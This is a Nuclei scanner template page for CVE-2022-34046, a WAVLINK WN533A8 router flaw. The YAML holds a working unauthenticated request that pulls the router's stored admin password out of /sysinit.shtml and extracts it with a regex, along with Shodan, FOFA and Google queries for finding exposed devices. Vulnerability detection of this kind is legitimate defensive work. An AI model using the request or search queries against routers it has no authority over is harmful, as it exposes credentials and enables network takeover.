Skip to content
Nuclei Templates

WAVLINK WN533A8 - Improper Access Control

ID: CVE-2022-34046

Severity: high

Author: For3stCo1d

Tags: cve,cve2022,packetstorm,wavlink,router,exposure

Description

Section titled “Description”

WAVLINK WN533A8 M33A8.V5030.190716 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2022-34046


info:
  name: WAVLINK WN533A8 - Improper Access Control
  author: For3stCo1d
  severity: high
  description: |
    WAVLINK WN533A8 M33A8.V5030.190716 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the entire network.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://drive.google.com/file/d/18ECQEqZ296LDzZ0wErgqnNfen1jCn0mG/view?usp=sharing
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34046
    - http://packetstormsecurity.com/files/167890/Wavlink-WN533A8-Password-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34046
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34046
    cwe-id: CWE-863
    epss-score: 0.14292
    epss-percentile: 0.95713
    cpe: cpe:2.3:o:wavlink:wn533a8_firmware:m33a8.v5030.190716:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn533a8_firmware
    shodan-query:
      - http.title:"Wi-Fi APP Login"
      - http.html:"wavlink"
      - http.title:"wi-fi app login"
    fofa-query:
      - title="wi-fi app login"
      - body="wavlink"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,packetstorm,wavlink,router,exposure


http:
  - raw:
      - |
        GET /sysinit.shtml?r=52300 HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'var syspasswd="'
          - '<title>APP</title>'
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        regex:
          - 'syspasswd="(.+?)"'
# digest: 4a0a0047304502205ccf0469182b0a879d69473045275b6b504da0dc30e85e8b8efd4ba75de9681b022100e693b1709a3f5982c08097e6e35c0b99966c8e60101061f77c8e4ff30734c518:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-34046.yaml"

View on Github